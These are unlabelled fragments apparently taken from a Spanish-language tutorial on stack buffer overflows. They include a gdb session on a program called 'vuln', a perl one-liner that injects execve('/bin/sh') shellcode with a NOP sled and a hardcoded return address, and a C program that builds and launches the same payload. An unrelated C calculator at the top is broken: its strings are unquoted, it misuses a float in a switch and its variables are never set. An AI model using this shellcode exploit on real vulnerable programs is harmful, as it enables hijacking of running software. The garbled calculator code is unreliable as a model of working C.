#include <stdio.h>
 
int main ()
{
	int num1, num2;
	float opc;
 
	printf (Menu:\n1. Suma\n2. Resta\n3. Multiplicacion\n4. Division\nOpcion:);
	scanf ("%d", &opc);
	if (opc < 1 || opc > 4)
	{
		printf (Opcion incorrecta...\n\n);
		return 1;
	}
	printf ("\nNumero 1: ");
	scanf ("%f", &opc);
	printf ("Numero 2: ");
	scanf ("%f", &opc);
 
	switch (opc)
	{
		case 1:	printf ("Respuesta --> %f", num1+num2); break;
		case 2:	printf ("Respuesta --> %f", num1-num2); break;
		case 3:	printf ("Respuesta --> %f", num1*num2); break;
		case 4:	printf ("Respuesta --> %f", num1/num2); break;
	}
	return 0;
}
 

juanra@Juanra:~/Escritorio/Shell$ gdb -q vuln
(gdb) br vuln
Breakpoint 1 at 0x804842a: file vuln.c, line 8.
(gdb) r AAA
Starting program: /home/juanra/Escritorio/Shell/vuln AAA

Breakpoint 1, vuln (buff=0xbffffb60 "AAA") at vuln.c:8
8		strcpy (buffer, buff);
(gdb) x/x buffer
0xbffff904:	0x00000000
(gdb) q
The program is running.  Exit anyway? (y or n) y
juanra@Juanra:~/Escritorio/Shell$ 

juanra@Juanra:~/Escritorio/Shell$ ./vuln $(perl -e 'print "\x90"x11 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x04\xf9\xff\xbf"')
$ ls
exploit  exploit.c  shell  shell.s  vuln  vuln.c
$ whoami
juanra
$ exit
juanra@Juanra:~/Escritorio/Shell$ 

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
int main ()
{
	char nops [11];
	memset (nops, '\x90', 11);
	char shellcode [26] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
	char ret [5] = "\x04\xf9\xff\xbf";
 
	char command [47];
	strcpy (command, "./vuln ");
	strcat (command, nops);
	strcat (command, shellcode);
	strcat (command, ret);
	system (command);
}